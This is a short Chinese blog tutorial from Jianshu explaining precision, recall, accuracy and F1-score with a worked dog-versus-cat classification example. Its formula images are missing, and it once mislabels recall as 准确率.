1. 精确率-Precision、召回率Recall

先来讲一下精确率(Precision)和准确率(Recall)，首先要明确一点，精确率不等于准确率（Accuracy），两者是不同的，后面也会讲到准确率。在信息检索里，精确率和召回率也被称为查准率、查全率
首先熟悉4个定义：

TP (True Positive): 正确被预测为正样本–即原来是正样本
FN (False Negative): 错误预测为负样本–即原来是正样本
TN (True Negative): 正确识别为负样本 --即原来是负样本
FP (False Postive): 错误识别为正样本–即原来是负样本

下面以个简单的例子实践一下：
   假如我们正在做猫狗的二分类识别任务，假设狗是正样本，猫是负样本，
数据里共有100张图片，狗为65张，猫为35张，而我们的预测结果：
识别成狗的有75张，正确识别的55张，识别成猫的25张，正确的15张，那么关系表就如下

精确率，是针对我们预测结果而言的，它表示的是预测为正的样本中有多少是真正的正样本:

也就是说识别成狗的样本里，正确的比例，例子里就等于55/(55+20) $\approx$ 73%

召回率，是针对我们原来的样本而言的，它表示的是原来样本中的正例有多少被预测正确了，也即 真实准确的正预测在原来样本的正例中所占的百分比:

也就是说，狗的召回率等于55/(55+10) $\approx$ 85%

准确率，对于给定的数据，分类正确的样本数占总样本数的比例，可用于多分类，这个也是最好理解的

整个二分类的准确率=(55+15)/100 = 70%

2. F1-score

很多时候，模型不只关心其中某个指标，因此需要平衡精确率和召回率，因此就有了F1-score，F1值是精确率和召回率的调和均值

作者：copain_sir
链接：https://www.jianshu.com/p/b29bfbf05ecf
来源：简书